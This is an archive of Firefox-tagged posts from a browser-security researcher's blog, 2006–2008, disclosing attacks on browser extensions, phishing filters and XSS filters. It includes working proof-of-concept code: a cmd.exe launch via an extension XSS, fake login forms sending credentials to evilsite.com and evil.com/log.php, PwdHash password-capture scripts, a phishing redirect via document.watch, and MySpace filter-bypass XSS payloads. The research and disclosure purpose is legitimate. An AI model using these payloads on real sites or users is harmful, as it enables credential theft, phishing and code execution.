Showing posts with label Firefox. Show all posts
Showing posts with label Firefox. Show all posts

Sunday, July 27, 2008

XSS-ing Firefox Extensions

[EDIT]:It turns out I fail at testing things on the latest version, see comments for some more details, sorry about that Roee.[/EDIT]

Roee Hay recently posted a blog post on the Watchfire blog about an XSS bug in the Tamper Data extension (it was posted much earlier, but removed quickly; RSS is fun), however when he assessed the impact he was wrong.

The context of the window is still within the extension, and so by executing the following code you can launch an executable:



var file = Components.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile);
file.initWithPath("C:\\WINDOWS\\system32\\cmd.exe");
file.launch();



(Code stolen from http://developer.mozilla.org/en/docs/Code_snippets:Running_applications)

But even then; I had never even heard of the Graphing functionality in Tamper Data, and given the need to actually use the functionality on a dodgy page, the chance of anyone getting owned with this seems very small to me.

Saturday, February 23, 2008

HTTP Range & Request-Range Request Headers

For those that haven't heard of the Range header, here's a link: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.35.2

For everyone who can't be bothered reading a link; essentially the Range header is what you use to ask a server for a part of a response, rather than the whole response; it's what makes resumeable downloads possible over http.

Anyway, another piece of research I presented at 24c3 is pretty simply, but rather useful:

Flash



If Flash were to allow us to send a Range header, then we would be able to get things sent to us completely out of context.

Until Apache 2.0 this header was only used when requesting static files, so it would not influence a typical XSS, however if we have an application such as vBulletin which protects against FindMimeFromData XSS attacks by searching the first 256 bytes for certain strings, then we can simply place our strings after the first 256 bytes and get Flash to send a header which looks like this:
Range: bytes=257-2048
To have unscanned data sent in the first 256 bytes, leading to XSS.

However since Apache 2.0 (and possibly in other webservers, but they're irrelevant to this post), the Range handling code is implemented as a filter; this means that it is applied to the output of every request, even if they are dynamic requests.

This means that if we were to have a normally unexploitable XSS condition where our use input was printed to the page inside an attribute with quotes either encoded or stripped, but all other metacharacters left intact, or an xss filter did not encode the html attributes you had at all like so:
<a href=“http://site.com/<script>alert(1)</script>”>link</a>

Then we could use the Range header to request only our unencoded portion which would result in XSS.

Now, why is this important since Flash has never let anyone send a Range header?

Well, while looking through the Apache source code I found this beautiful snippet:
if (!(range = apr_table_get(r->headers_in, "Range"))) {
range = apr_table_get(r->headers_in, "Request-Range");
}


Which essentially says that if you can't find a Range header, look for a Request-Range header, and untill the latest version of Flash (9,0,115,0), the Request-Range header was not blocked. (I had hoped this would be unpatched when I presented it, but you can't really hope for much when you sit on a bug for almost half a year...)

Firefox


Now the part I didn't present. In Firefox 3 Firefox implemented the new Cross-Site XMLHttpRequest which, as the name suggests, lets you make cross-site requests and read the responses.

There is some documentation here: http://developer.mozilla.org/en/docs/Cross-Site_XMLHttpRequest

The part of those specs which is relevant to this post is that you can allow Cross-Site XMLHttpRequests by including an XML preprocessing instruction; however you can't just XSS it onto the page as usual because it needs to be before any other data.

However, the XMLHttpRequest object allows you to append both Range and Request-Range headers. And by appending a Range header we can get our XSS-ed instruction to the start of the response, and read the response.

The limitations with this are fairly strict; as far as I can tell, you cannot add to the XHR policy cache with xml instructions, only with headers, and if you attempt to request multiple ranges, then the multi-part boundary which begins the response will be sent before the xml instruction, and so it will not be parsed, so you can only get the contents of the page that are after your XSS point. On the other hand I wasn't even able to get non-GET requests to work with server-side co-operation, so take these with a handful of salt.

On the up side, this does bypass the .NET RequestValidation mechanism since that does not flag on <? However, I doubt this will be very exploitable in many scenarios, though given the amount of .NET apps which are only protected by the RequestValidation mechanism; you're sure to find something.

Thursday, July 19, 2007

Firefox gets httpOnly!

I don't usually report on things here, but since no-one else seems to be saying something, I thought I should.

Anyway, Firefox has finally implemented httpOnly cookies, in 2.0.0.5, as you can see from their patch notes, and the following test case: http://kuza55.awardspace.com/httponly.php

Note: If httpOnly cookies is implemented, the alert box should be blank, if it is not implemented you should see an alert which says hidden=value

<?php

header("Set-Cookie: hidden=value; httpOnly");

?>
<html>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>


So hurrah for the Firefox developers who made this happen, no matter how long it took.

Saturday, June 30, 2007

Universal Phishing Filter Bypass

Well, I tried to do responsible disclosure, so I could at least claim I care about how secure users are (and get my name in some patch notes, :p), but according to Microsoft "The Internet Explorer phishing filter is not a security feature, so this is not something MSRC would track.", Mozilla haven't replied (email sent early Wednesday), and Opera haven't replied either (bug report added early Thursday), though I didn't give opera much time, I really don't think its a big issue because its not even on by default in Opera.

To better understand how the following idea can actually be utilised, and why it matters, you need to understand the point of the phishing filter. When a phishing site is first created and sent to users, the phishing filter does not know about it - the phishing filter is updated based on a blacklist of URLs which are manually entered.

The reason,the filter works is because while a phisher could encode the address to stop it being detected, or move the server, etc, etc, but all the emails they sent still have the same static blocked link. And this is the whole reason the filter works - all the emails have the same link which is blocked. This doesn't have to be the case, but I'll write something about that some other day.

To avoid this, one can do the following:

Send out phishing emails as one normally would, but instead of pointing to the actual phishing page, point to some central server, which can send your arbitrary response headers, or is under your complete control.

The page the user is sent to, actually redirects the user to an actual phishing page, either on the same server or another.

There is a loophole in the phishing filters where if a page is blocked, but instead of being loaded, it redirects the user, then the phishing warning is not displayed (the phishing warning seems to do checks after the page has been loaded, or at least the html code has).

What this means is that, the moment a phishing URL is added to the list, the phisher can easily just make it redirect elsewhere (or just encode it, and redirect to the encoded URL to bypass the filter), and viola, the link in the phishing email is now working again.

And considering all the filters do direct URL comparisons, and the redirects do not have to be static (i.e. you could use mod_rewrite to make random URLs show the same phishing page), the way current phishing filters are set up you could avoid the indefinitely.

If you want to confirm this, here are the steps I sent to MS/Mozilla/Opera on how to verify it:

1. Find a blocked URL.
- I got http://ospr.110mb.com/yahoo/ from phishtank

2. Point the hosts file entry for the domain to an IP.
- I pointed ospr.110mb.com to 127.0.0.1

3. Create a directory/page on your server in the same place as the phishing page.
- I created /yahoo/index.php on my localhost

4. Confirm that your page is being blocked.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and it was blocked in all browsers

5. Clear the browser cache/restart the browser.
- IE and Firefox need a restart, Opera needs you to manually clear the cache

6. Edit the file to redirect to another file on the site which is not blocked.
- I created /yahoo/login.php and then used a Location redirect in index.php to redirect myself there:

header ("Location: http://ospr.110mb.com/yahoo/login.php");
?>

7. Visit the original phishing page again.
- I directed my browser to http://ospr.110mb.com/yahoo/ as usual, and in both browsers, no message was shown to the user, and I was successfully redirected, even though the original page was a known phishing URL in both systems.

Note: The need to clear the cache/restart the browser would not impact an attack, because the redirecting page would never be filtered and cached in the first place, it is merely a symptom of checking that the URL is properly blocked. So if you can trust me that the URL is blocked, you can simply ignore step 4.

Monday, March 26, 2007

Partially stopping sites breaking out of frames in Mozilla

I've been looking for ways to stop sites breaking out of frames for a long time now, and haven't been able to find anything.

And I still haven't been able to get anything working the way I'd like it to, but since I don't have much time these days I thought I'd throw this out there to see if anyone could figure something out. What I'm trying here is to be able to execute XSS attacks within iframes against sites which break out of iframes at the top of each page, but sadly I'm having almost no real success.

Using the idea that I used to implement this; http://kuza55.blogspot.com/2007/03/trapping-mozilla-for-phishing.html, it is possible to stop site breaking out of frames.

Using the following code:
<html>
<body>
<script>
function test(e) {
    window.setTimeout ("stop();", 1);

}

window.onbeforeunload = test;

</script>
<iframe src="http://hackthissite.org/" />
</body>
</html>


But while it is possible to stop http://hackthissite.org from breaking out of an iframe, the moment we call the stop(); function, the iframe also stops loading. So any XSS attacks after the frame breaking code will not be executed.

So as you can see I haven't been able to figure anything out which will stop the top window being changed, but not stop the iframe being loaded. Hopefully someone else will have more luck.

Tuesday, March 20, 2007

Trapping Mozilla For Phishing

I was looking at the onbeforeunload event handler today in the hopes of finding a way to attack/implement Martin Johns' paper SessionSafe: Implementing XSS Immune Session Handling (there's also some discussion about the paper here: http://sla.ckers.org/forum/read.php?13,7607), and while I didn't find anything useful there, I did find a way to entrap, and therefore conduct phishing attacks against more aware Mozilla users.

Before delving into an explanation, here's the code which I'll explain:

<html>
<body>
<script>
function test(e) {
window.setTimeout ("stop();", 1);
window.setTimeout ("var test = document.getElementById ('test'); test.style.display = 'block';var test2 = document.getElementById ('test2'); test2.style.display = 'none';", 1);
}

window.onbeforeunload = test;

</script>
<div id="test2">Please go to bankofamerica.com</div>
<div style="display:none;" id="test">Please Enter your Login Details here:
<form action="http://evilsite.com/">
Username: <input name="username">
Password: <input type="password" name="password">
</form></div>
</body>
</html>


Anyway; when using the onbeforeunload event handler it is still possible to access the window object, and therefore still possible to set time-outs.

In our time-outs, we can call the stop() function. When the stop(); function is called the location bar is not reset, and therefore will display the URL the user entered.

The next thing we would like to do would be to add some data to the page which makes it look like a phishing site. Sadly (or Luckily depending on your view point), when you call the document.write() function, the location bar is reset, and therefore we must use the DOM to make the existing page disappear, and add our new page.

Simple Enough.

One thing you should note though, is that there is a bug in Firefox where, if you enter, say, google, then press Ctrl+Enter, then go to another tab, and then return, the address bar will read "google" rather than "http://www.google.com/", but its not a very likely scenario, so should not be much cause for concern. And furthermore it is (to my knowledge) impossible to find out where the user is going, so I do not think there are many uses other than a phishing page like the example provided.

You also cannot force the user to programmatically go to a page, and stop that and have the URL changed. the URL is changed programmatically only when the browser successfully loads the page.

Oh, and AFAIK a slightly similar (in terms of effect, not implementation) vuln in IE is still unpatched: http://lcamtuf.coredump.cx/ietrap/

P.S. This was tested on Firefox 2.0.0.2

Monday, February 26, 2007

stopgetpass.user.js - an interim solution

A couple of days ago I posted a method of breaking the RSCR Fix Mozilla implemented in Firefox. Today, I want to post an interim fix for the issue in the form of a Greasemonkey script:

for (i=0,c=document.forms.length;i<c;i++) {
    if (document.forms[i].method == 'get') {
        var password = false;
        for (l=0,k=document.forms[i].elements.length;l<k;l++) {
            if (document.forms[i].elements[l].type == 'password') {
                password = true;
            }
        }
        if (password == true) {
            document.forms[i].method = "post"
        }
    }
}


Essentially it just loops through all the forms on a page and sets the method on all forms with password fields to post. So while this will stop you from the attack I described, it will most likely break sites, so once a patch comes out of Mozilla (which I honestly hope it will, because otherwise all their efforts on the previous patch will be in vain), this will need to be removed.

Also, since this script is extracting method and type values from the DOM, it doesn't have to worry about case, obfuscation, etc, so it should not be vulnerable to any obfuscation of either the type or the method properties.

I'm sure you all know how to install Greasemonkey scripts,so I'm not going to bother explaining how to here, because for those who don't there's always Google.

P.S. 50th Post! Hurray, I've managed to actually stay interested in something for an extended period of time. I'm sure that some of the posts were completely disinteresting to people, but I hope that some of them weren't.

Saturday, February 24, 2007

Breaking Firefox's RCSR Fix

In Firefox 2.0.0.2, the developers have done a lot of good in regards to helping prevent XSS and other attacks against the client; you can read the whole advisory here: http://www.mozilla.org/security/announce/2007/mfsa2007-02.html

And while their fix for the RCSR issue is good, its not perfect.

As everyone (including people commenting on mozilla's bug tracker) noticed, there is no real way to prevent this if an attacker can execute Javascript on the domain, because he can simply inject an iframe which has an src attribute set to the page which the user normally logs in on, and then simply change its contents to get the password.

Anyway; this fix attempts to solve the issue of an attacker being able to abuse the password manager if the attacker can inject html, but not Javascript. And so, that is the constraints within which we need to break the fix.

Lets assume we have a html injection issue in a page called http://site.com/vuln.php in the GET parameter search; i.e. http://site.com/vuln.php?search=<img src=http://evil.com/image.jpg> would inject an image into the page.

What we can then do is inject a form into the page which looks like this:

<form action="http://site.com/vuln.php" method="get">
    <input type="text" name="username" />
    <input type="password" name="password" />
    <input type="hidden" name="search" value="<img src='http://evil.com/log.php' />" />
    <input type="submit" value="Login" />
</form>


Then if we get the user to submit the form, then the referers sent to http://evil.com/log.php will have the username and password in them.

Of course, our form would have to have an input field which is an image which is transparent but covers the whole browser window, which would submit the form for us, or similar so that the form is submitted but that issue has already been solved, and I wanted to keep the example clean.

Saturday, February 10, 2007

Attacking the SafeCache Firefox Extension

Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using the domain for his blog, so I'm moving all my content here:

The SafeCache extension is yet another good idea in browser security to come out of Stanford University. Essentially it extends the browser same origin policy to the browser cache to defend against cache timing attacks. You can find more info about it here: http://www.safecache.com/

Now while I have not looked at the source code to the extension, I have devised a method for not only being able to perform timing attacks, but to be able to directly determine whether or not the objects you are trying to find info about are in the cache or not.

It seems that if you create an iframe element where the src attribute points to the resource whose cache state you want to query, then the onload event will fire only if the item is not in any cache.

To test this either login to Gmail, or go to http://mail.google.com/mail/help/images/logo.gif and then create a page like the following:

<html>
<body>
<script>
function loaded() {
var time = new Date();
var t2 = time.getTime();
alert(t2- t1);
}
var time = new Date();
var t1 = time.getTime();
</script>
<iframe src="http://mail.google.com/mail/help/images/logo.gif" onload="loaded()">
</iframe>
</body>
</html>



And you will notice that the onload element does not fire. Then if you press Ctrl+Shift+Del and delete the cache, then visit the html page you just created again, the onload event will fire.

If you refresh the page, the onload event will not fire a second time because the image is already in the cache.

So while it stops standard cache timing attacks, it does not stop attacks against itself.

Bookmarklets are NOT secure

Jungsonn wrote a post entitled "Defeating Phishers" where he wrote about how one could distribute risk across two servers, and essentially have one site where XSS vulnerabilities are unimportant, and one which would need to be audited heavily. He also recommended using Bookmarklets because "Bookmarklets are actually pretty secure things, no software or website can access them.".

Personally I disagree with both those statements. Firstly, if you find an XSS hole in the main domain, you can easily make the page say that they've changed their practices, sure it would be a little odd, but the amount of user education required for this attack to be impractical would be enough to solve the whole phishing issue, not just this one.

But more importantly I want to debunk the myth that Bookmarklets are secure. Leaving aside the fact that trojans and similar can easily alter them because they have access to the file system, they are still insecure; they are as insecure as the page they are clicked on is untrustworthy.

For example, lets take the Bookmarklet Jungsonn posted:
javascript:QX=document.getSelection();if(!QX){void(QX=prompt('Type your firstname',''))};if(QX)document.location='https://myonlinebank.com'

It would seem fairly secure, except for the fact that with the very allowing Javascript engines, we can stop this from working, here's how:
<script>
function changeHandler(x, y, z) {
if (z == 'https://myonlinebank.com') {
return 'https://myonlinebank.com.us';
} else {
return z;
}
}

document.watch('location', changeHandler);
</script>


If the bookmarklet is clicked on a page with that on it - say a phishing page at http://myonlinebank.com.us or a legitimate page on the http://onlinebank.com domain if it has an XSS hole in it, then we can easily send the user to a phishing page, even though the value is hard coded in the bookmarklet.

Of course, the bookmarklet can try to detect and remove such things, but its a technological battle that will be fought on a bookmarklet by bookmarklet basis; which is essentially where security generally fails - custom code. Of course the other scenario is that we find a secure method of redirecting users, but even if we do, we're not going to be able to get everyone to use it; so I'd rather not recommend bookmarklets as security; just tell users to create a simple bookmark to the site.

Or we could try to educate users to only click on the bookmarklet from a blank page, but thats another area where security generally fails - user education.

Friday, February 02, 2007

Attacking the PwdHash Firefox Extension

Well, SudoLabs got taken down since almost no-one was using it, so now troopa is using the domain for his blog, so I'm moving all the content here:




A while ago I saw an interesting paper/implementation of a way to hash and salt user passwords by domain, so that (I assume) phishing attacks would not be able to steal users' passwords because they are salted with the phishing domain rather than the targeted domain. You can find more info here: https://www.pwdhash.com/

If you read their paper, and the comments in the extension you'll see that they've got pretty much anything you can think of covered. One of the things they haven't been able to stop has been Flash based sniffers, because Javascript extensions don't have any control over 3rd party plugins.

But I have come up with a way to circumvent certain protections and possibly another attack.

To protect against context switching attacks when a user presses the @@ combination or the F2 key into a password field the context cannot be changed without alerting the user if there are less than 5 additional characters.

This is decent protection since you cannot steal the first 5 letters of a user's password, and since user passwords aren't particularly long those first 5 characters are vitally important.

But the extension developers made a few fatal mistakes - they allow the page to receive events of a user pressing the @ key (they do not allow the page to get the F2 key), and they also check how many characters there are in the text box by checking the DOM, and since we are not restricted from changing the DOM we can easily change the contents of the password box.

So what we can do is; detect two presses of the @ key, quickly change the value of the password box to testing or some similar string which is more than 5 chars long, set the focus to another element, and then change the value of the password box to two @ signs, and put the user back in place. you get a little flicker, but most users will discount that, anyway; here's an example:

<html>
<body>
<script language="javascript">

var text = document.createElement('div');
document.body.appendChild(text);
var last = null;

document.onkeypress = function (e) {

var key = String.fromCharCode(e.charCode);
if (last == '@' && key == '@') {
var pb = document.getElementById("pass");
pb.value = '@@testing';
window.setTimeout("context_switch ();", 1);
}
text.innerHTML = text.innerHTML + key;
last = key;
}

function context_switch () {
var pb = document.getElementById("pass");
var tb = document.getElementById("text");
tb.focus();
pb.focus();
pb.value = '@@';
}
</script>

<form>
<input id=pass type=password>
<input id=text type=password style=visibility:hidden>
</form>
</body>
</html>


Another thing Firefox allows you to do is create events, which can be sent to the DOM, and for some reason they do not go through extensions, this is a sort of double edged sword because while we cannot simulate a user typing to an extension, the extension is not aware of us sending events to the DOM.

And since the extension developers are sort of using the password box to store the password (the password box contains @@ABCDEFGH...etc which get mapped to the text you entered by the extension when they're computing the hash) we can insert text into the password box and have it included in the hash, and since we can inject the letters ABCD, etc, we can conduct an attack where we know that say each letter is repeated 3 times (by detecting keyboard events and then sending two of those events to the textbox again), this isn't a real attack atm since I haven't looked at the hashing algorithm, but it should make any cryptanalysis easier if we can repeat any number of letters any number of times.

Also, if we think we can get the user to keep on entering their password over and over again, we can just replace the textbox content with say @@AAAAA or @@BBBBB or @@CCCCC or similar so we can get a hash of a single character repeated, and then have a simple 256 value lookup table.




Ok, I figured out a way to defeat the fact that we can't detect the F2 key being pressed.

It does have some false positives, but this is just to show that an attack is still possible.

Anyway, what we do is detect when we get sent an A, we then check that the length of the text in the password box is > 0 and if it is, we send 4 As to the password box, and swap the context. And record some data, and all we need is a 256 value lookup table. Anyway, here's the PoC:

<html>
<body>
<script language="javascript">

var text = document.createElement('div');
document.body.appendChild(text);

var enc0 = null;
var enc1 = null;

document.onkeypress = function (e) {

var key = String.fromCharCode(e.charCode);
if (key == 'A') {
var pb = document.getElementById("pass");
window.setTimeout ("test_n_send();", 1);
}
text.innerHTML = text.innerHTML + key;
}

function test_n_send() {
var pb = document.getElementById("pass");
var tb = document.getElementById("text");
if (pb.value.length > 0) {
send4A();
enc0 = pb.value;
tb.focus();
enc1 = pb.value;
pb.focus();

var enc0b = document.getElementById("enc0");
enc0b.value = enc0;

var enc1b = document.getElementById("enc1");
enc1b.value = enc1;

}
}

function send4A() {

var i;

for (i=0;i<4;i++) {
var evt = document.createEvent("KeyboardEvent");
evt.initKeyEvent(
"keypress", // in DOMString typeArg,
false, // in boolean canBubbleArg,
false, // in boolean cancelableArg,
null, // in nsIDOMAbstractView viewArg, Specifies UIEvent.view. This value may be null.
false, // in boolean ctrlKeyArg,
false, // in boolean altKeyArg,
false, // in boolean shiftKeyArg,
false, // in boolean metaKeyArg,
0, // in unsigned long keyCodeArg,
65); // in unsigned long charCodeArg);

var pb = document.getElementById("pass");
pb.dispatchEvent(evt);
}
}

</script>

<form>
<input id=pass type=password>
<input id=text type=password style=visibility:hidden><br />
<input id=enc0><br />
<input id=enc1><br />
</form>
</body>
</html>

Wednesday, January 24, 2007

defy.js

Well, I was kinda bored this morning and had the (very questionably) great idea of writing a snippet of code to delete all Javascript overloading, and reinstate the XMLHttpRequest Object:

function extractXHR () {
    var iframe = document.createElement('iframe');
    iframe.name='test';
    iframe.src='http://www.google.com/';
    iframe.style.display = 'none';
    document.body.appendChild(iframe);
    window.XMLHttpRequest= window.frames.test.XMLHttpRequest;
    document.body.removeChild(iframe);
}

function recursive_delete (object) {
    var failed;
    for (obj in object) {
        failed = 0;

        try {
            delete window[obj];
        } catch (e) {
            failed = 1;
        }

        if (failed = 0) {
            try {
                recursive_delete (window[obj]);
            } catch (e){

            }

        }
    }
};

recursive_delete (window);
recursive_delete (document);
extractXHR();


The other thing I could have done would be a recursive_extract function, which tried to extract everything from the window object of the iframe, but not everything is enumerable (e.g. XMLHttpRequest is not enumerable), so customized code could still possibly be needed.

Also, the way reason the extraction works is because it executes before the page can fully load, and this causes the originating domain policy to not have kicked in yet, and so we can still get the window object. its probably not the same object as the one the page uses in the end though, but I think I might check it out.

Essentially what that means for an attacker is that there is a tiny chance that it won't work if the page is set up between the two Javascript instructions which append the iframe and extract the XMLHttpRequest object.

Tuesday, January 23, 2007

More Javascript Overloading

Well, as I mentioned in my last post, Jeremiah's idea of masking functions works quite well, but I left out the fact that it only works for the window object, so things like document.write() are still safe because document cannot be masked. try it:

javascript:function document() {};

And you get the error Error: redeclaration of const document.

As you can see, while I do call it masking when you override XMLHttpRequest by creating a function of the same name, it is really just redeclaring it inside the window context.

So its effectively impossible to stop people writing to the document, and therefore creating an iframe and using it's XMLHttpRequest object.

Now, thanks to Mook from irc.mozilla.org #js I've also found out that for everything other than XMLHttpRequest that you can over-write there also seems to be a property in window.__proto__ that does the same thing. Conveniently enough you can also create a function called __proto__ which blocks it.

Also, just some assorted things about Javascript which I mentioned in previous articles I want to mention:

When the submit() method gets replaced by a form element of the same name, you can still access it via the form.__proto__.submit() function, again; Thanks Mook.

Redeclaring Javascript Properties

Ok, so the title of this was originally "Don't we have memories for a reason?", and had a bit of a rant here, but I decided the rant part was a bit unwarranted and stupid (exceptionally stupid, really), so I've removed it so I don't subject anyone else to that crap. Anyway, on with the post:

Jeremiah Grossman (who does some great work, actually), had the idea to stop XSS Worms by denying them access to some crucial functions like XMLHttpRequest() and createElement. You can read the whole post here: http://jeremiahgrossman.blogspot.com/2007/01/preventing-csrf-when-vulnerable-to-xss.html.

Now while I don't think people have attempted to do exactly that before, there were efforts to do the same thing to deny attackers access to cookies a while back, which used the same techniques which it turned out could be easily subverted. Now this isn't my rant, things happen and people might not know about what has happened before, fair enough.

But when people who know about what happened before and that it can be overwritten start saying that Jeremiah's idea works you've really got to wonder why we have memories if we don't use them.

Oh, and here's some code to prove my point: (check your error console to see there are no errors, and the appropriate functions are being called)

javascript:window.__defineGetter__("open", function() { }); delete window.open; window.open("http://kuza55.blogspot.com/",null,"");

javascript:document.createElement = function () {}; delete document.createElement; var bold = document.createElement('b'); bold.innerHtml = 'createElement Works'; document.body.appendChild(bold);

javascript:document.__defineGetter__("write", function() { }); delete document.write; document.write('document.write works');

I also found it humorous that someone was recommending using delete to remove the window element so that people could not call the function, instead of overwriting it.

Ok, now onto some more interesting things. The idea that Jeremiah Proposed for getting rid of the XMLHttpRequest() object was quite a good one, because whenever we try to delete a function it doesn't work, we CANNOT delete functions; it seems you can only delete objects and properties.

The documentation for the delete operator can be found here, it doesn't mention why we can't (or how to) delete functions though: http://developer.mozilla.org/en/docs/Core_JavaScript_1.5_Guide:Operators:Special_Operators#delete

So essentially that definitely works, so good job on coming up with that. Well, untill someone else figures out a way past that as well.

But there are some fun things you can do like the following:

<html>
<body>

<script>
function XMLHttpRequest() { }
</script>

<iframe name='test' id='test' src='http://www.google.com/'></iframe>

<script>
var req = new window.frames.test.XMLHttpRequest();
alert(req);
</script>

</body>
</html>


So if we can somehow create an iframe, with a name, we can circumvent it. We could also use an iframe created by advertising code, but that is limited by the fact that we would need to use window.frames, and the only things which you can't replace with functions are window, document, and possibly some other constants I can't remember right now.

Disclaimer: I'm not saying that anyone who I've mentioned does bad work (and even when I was ranting, I wasn't saying that), but seriously, you were told about something once, do you need to be told again?

Sunday, December 24, 2006

MySpace Non-Alpha-Non-Digit XSS 0day

It seems that MySpace has finally understood the issue here, which is good news, but the way their filter is written is working against them, or at least thats what I'm guessing from the results I'm getting.

Anyway, here's the exploit:

<body onLoadmoz-binding="alert('XSS');">

As you can see if you run that moz-binding is changed to .., and we are left with the following:

<body onLoad..="alert('XSS');">

So from this I think we can quite safely assume that they have a few separate modules which have their go at the code in order, and if something gets changed to something dangerous, but the module that would filter that particular dangerous code out has already run (the non-alpha-non-digit filtering module), then the code is allowed through.

Isn't black box auditing fun? You end up making guesses that are quite often so very wrong but fit your results, :p.

Sunday, November 05, 2006

More MySpace XSS

I don't know whether to feel sorry for MySpace, or whether to laugh. The amount of XSS holes in MySpace is nothing short of outstanding.

And the sad thing is they've clearly tried to fix as many things as they've been able to find, but some things have fallen just short.

Anyway, the flaw I found this time around is that MySpace doesn't know that you can have an underscore (_) between an attribute name and the equals sign, and have it being valid, like so: (Note: This only works on Firefox)

<body onLoad_="alert('XSS');">

But the interesting thing is that they have got a regex which dissallows everything which looks like on*= (obviously it doesn't look anything like that, but I'm not going to bother trying to write regexs), and yet they've done it in such a way that they need to know about what characters are allowed, essentially creating ablacklist of chars which they won't let you use between an attribute name and an equals sign. Why anyone would create a blacklist for that amazes me.